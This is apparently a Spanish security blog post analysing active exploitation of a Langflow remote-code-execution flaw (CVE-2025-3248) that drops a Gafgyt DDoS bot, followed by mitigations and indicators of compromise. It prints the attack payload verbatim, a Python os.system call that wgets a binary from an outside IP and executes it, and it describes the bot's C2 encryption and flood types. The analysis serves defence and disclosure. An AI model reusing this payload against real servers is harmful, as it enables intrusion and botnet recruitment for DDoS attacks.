Conclusiones clave
Los atacantes están explotando activamente una vulnerabilidad de ejecución remota de código (RCE) en el terminal de la API de validación de código de Langflow, un popular marco visual para crear prototipos de aplicaciones de IA y modelos de lenguaje de gran tamaño (LLM).
Una vez comprometido el marco, el exploit instala una variante altamente personalizada del veterano bot de ataque distribuido de denegación de servicio (DDoS) Gafgyt. Esta carga útil concreta prescinde de funciones secundarias, como los criptomineros, para centrarse exclusivamente en la inundación de red, y oculta sus comunicaciones de comando y control (C2) mediante un cifrado de flujo RC4 modificado y complejo, diseñado para eludir las herramientas estándar de descodificación automatizada.
Dado que el desarrollo de IA en entornos empresariales avanza con rapidez, los equipos suelen implementar herramientas experimentales como Langflow en redes de producción o de prueba sin una segmentación de red adecuada, protecciones de firewall o un filtrado de salida estricto. Esto crea un entorno de gran confianza que permite que el tráfico C2 saliente malicioso eluda fácilmente los filtros corporativos.
La protección de la infraestructura de IA exige volver a aplicar protocolos de seguridad fundamentales: corregir las vulnerabilidades de ejecución arbitraria de código en los orquestadores de IA, implantar un filtrado de salida estricto (por ejemplo, bloqueando el tráfico no autorizado a través del puerto 1337), aislar los entornos de desarrollo mediante firewalls de aplicaciones web (WAF) e implementar firmas YARA específicas.
Durante los últimos años, el mundo de la ciberseguridad se ha centrado en amenazas avanzadas relacionadas con la IA, como el phishing automatizado, los deepfakes y el malware autónomo. Sin embargo, los agentes de amenazas están demostrando que sus objetivos inmediatos son mucho más pragmáticos. No solo quieren manipular la IA, sino también secuestrar la infraestructura subyacente para alimentar formas tradicionales de ciberdelincuencia a gran escala.
La inteligencia sobre amenazas reciente revela una interesante convergencia entre las implementaciones modernas de IA y la arquitectura clásica de las botnets: los atacantes están explotando activamente CVE-2025-3248 (una vulnerabilidad RCE de Langflow) para instalar una variante altamente personalizada del veterano bot DDoS Gafgyt/BASHLITE.
En esta entrada de blog, describiré cómo los atacantes están explotando activamente CVE-2025-3248 para convertir marcos de IA de última generación en herramientas de fuerza bruta contra redes.
El punto de entrada inicial: CVE-2025-3248
Langflow es un popular marco visual que los desarrolladores utilizan para crear prototipos y desarrollar aplicaciones de IA y LLM. Dado que estas aplicaciones necesitan inherentemente una forma de probar y ejecutar lógica personalizada, determinados terminales se encargan de la ejecución de código.
Los atacantes han aprovechado esta capacidad en contra de la propia plataforma. En ataques reales, estamos observando la siguiente carga útil maliciosa dirigida a la API de validación de código:
{
"code": "import os; os.system(\"wget -q -O /tmp/bot_x86_64 http://184.174.96.191:8088/bot.x86_64 && chmod +x /tmp/bot_x86_64 && /tmp/bot_x86_64\")"
}Anatomía del exploit
La vulnerabilidad: el terminal /api/v1/validate/code acepta scripts de Python que no son de confianza y los ejecuta en el sistema host sin un aislamiento adecuado.
La distribución: el código inyectado utiliza funciones estándar de la biblioteca de Python (os.system) para invocar wget.
La descarga: descarga de forma silenciosa un ejecutable de Linux x86_64 desde un servidor de pruebas remoto (184.174.96.191:8088), lo marca como ejecutable (chmod +x) y lo inicia directamente desde el directorio volátil /tmp.
Análisis: la variante Gafgyt/BASHLITE
Comportamiento de ejecución y evasión
Al iniciarse, el archivo binario ejecuta una secuencia diseñada para ocultar su presencia y preparar sus motores internos:
La huella: muestra en stdout un provocador banner ASCII: come at me krebs rimasuta go BRRT, que hace referencia al conocido periodista de seguridad Brian Krebs y al alias rimasuta.
Daemonización: llama inmediatamente a clone() para crear un proceso secundario, mientras que el proceso principal finaliza. A continuación, cierra los descriptores de entrada, salida y error estándar (stdio), con lo que se desvincula por completo del terminal para ejecutarse de forma silenciosa en segundo plano.
Agresividad pura: el archivo binario no contiene criptomineros, mecanismos de persistencia ni escáneres de movimiento lateral. Toda su ruta de ejecución está optimizada para una única tarea: la inundación de red.
El cifrado personalizado y el protocolo C2
Esta variante implementa un sofisticado cifrado de flujo RC4 modificado y multifase para proteger sus comunicaciones de C2. El esquema de cifrado se aparta del RC4 estándar de tres formas distintas para impedir que las herramientas automatizadas de descodificación convencionales funcionen correctamente:
Semilla no estándar de la S-box: en lugar de inicializar la S-box de forma lineal, el esquema de cifrado la rellena mediante una secuencia aritmética personalizada: $S[i] = (0x0D + i \times 0xA7) \pmod{256}$.
Algoritmo de programación de claves (KSA) en dos fases: utiliza claves de 32 bits codificadas de forma fija (0xDEADBEEF, 0xCAFEBABE, etc.) para modificar la S-box, seguidas de cinco pasadas intensivas de reorganización mediante un generador congruencial lineal (LCG) clásico de Borland.
Algoritmo de generación seudoaleatoria (PRGA) modificado: los bytes del flujo de claves se vuelven a mezclar mediante un contador acumulativo con desplazamiento y operaciones a nivel de bits (ROL y SHR).
Capacidades de ataque
El bot incluye cuatro rutas de ejecución diferenciadas que se asignan directamente a llamadas al sistema sendto y se corresponden con cuatro vectores clásicos de ataques de denegación de servicio:
Estado | Vector de ataque | Mecanismo técnico |
|---|---|---|
0x01 | Inundación UDP | Bucles sendto sin procesar que emiten grandes volúmenes de datagramas UDP |
0x02 | Inundación de TCP | Saturación mediante conexiones y paquetes SYN/ACK |
0x03 | Inundación de HOLD | Agotamiento de conexiones keep-alive dirigido contra servidores web |
0x04 | Inundación Junk/STD | Inundaciones UDP con cargas útiles aleatorias para agotar las tablas de estado del objetivo |
Riesgos estratégicos para la infraestructura de IA
Puede resultar tentador considerar las aplicaciones de IA como entornos especializados y aislados del resto de la infraestructura de TI empresarial, pero los agentes de amenazas las consideran objetivos especialmente atractivos. Secuestrar un servidor de IA para incorporarlo a una botnet ofrece varias ventajas claras:
Gran capacidad de procesamiento y ancho de banda: las cargas de trabajo de IA casi siempre se alojan en instancias de nube de alto rendimiento o en servidores empresariales potentes. Estas máquinas disponen del enorme ancho de banda de red necesario para lanzar ataques DDoS devastadores.
La vulnerabilidad de la "TI en la sombra": dado que el desarrollo de IA avanza a una velocidad vertiginosa, los equipos suelen poner en marcha plataformas experimentales como Langflow en entornos de producción o de pruebas sin una segmentación de red, una gestión de vulnerabilidades o unas protecciones de firewall adecuadas.
Entornos de confianza: la infraestructura de nube empresarial suele disponer de permisos de red salientes más amplios, lo que permite que el tráfico C2 saliente eluda los filtros corporativos estándar de salida.
Defensa y mitigación
Si su equipo utiliza Langflow u orquestadores visuales de IA similares, se recomienda encarecidamente adoptar de inmediato medidas para reforzar la postura defensiva.
Aplicar parches y actualizar: asegúrese de que sus implementaciones de Langflow estén actualizadas a versiones que corrijan las vulnerabilidades de ejecución arbitraria de código en las API de validación de código.
Implementar un filtrado de salida estricto: los entornos de entrenamiento y creación de prototipos de IA rara vez necesitan acceso TCP saliente sin restricciones a direcciones IP públicas arbitrarias. Bloquee las conexiones salientes a través de puertos inusuales, como el 1337.
Aislamiento de red: trate los entornos de desarrollo de IA como redes que no son de confianza. Segméntelos estrictamente de los principales entornos empresariales y restrinja el acceso a Internet público mediante WAF.
Implementar firmas YARA: supervise los archivos binarios del sistema y los directorios volátiles en busca de los bytes específicos de la semilla de la S-box criptográfica exclusivos de este agente de amenazas: 0d b4 5b 02 a9 50 f7 9e.
Conclusión
La explotación de CVE-2025-3248 constituye un claro recordatorio de que el panorama de la seguridad no solo está evolucionando, sino cambiando de forma sustancial. A medida que integramos rápidamente potentes marcos de IA como Langflow en nuestras infraestructuras empresariales, debemos evitar la tentación de considerar estas plataformas como entornos aislados o especializados. Los agentes de amenazas son plenamente conscientes del potencial de procesamiento y ancho de banda de estos entornos y los están convirtiendo en armas mediante los mismos métodos probados que llevan décadas impulsando las botnets.
Proteger la infraestructura de IA exige volver a los principios básicos de la seguridad: una segmentación de red sólida, un filtrado de salida estricto y una gestión diligente de los parches. En la carrera por crear la próxima generación de aplicaciones de IA, no podemos permitirnos dejar la puerta abierta a las viejas amenazas de la ciberdelincuencia.
Apéndice técnico: IOC y defensa
Hashes de archivos y del sistema
SHA256: e00d92ca28a2cfd75e96f71fc0408747f04942657fcab0f2a25ce79bc3ad23a8
ID DE COMPILACIÓN ELF (SHA1): 523ae28b0833f9a68f4264d16c803ca5fdc771b9
Indicadores de red
IP del servidor C2: 184.174.96.191
Puerto de pruebas de malware: 8088/TCP (descarga HTTP)
Puerto de comandos C2: 1337/TCP (tráfico cifrado)
Firmas del host
Conexiones salientes a direcciones IP externas a través del puerto 1337
Procesos no reconocidos que se ejecutan desde /tmp y cierran inmediatamente los descriptores de archivo estándar
La cadena come at me krebs rimasuta go BRRT en los registros de salida estándar o en cadenas de memoria
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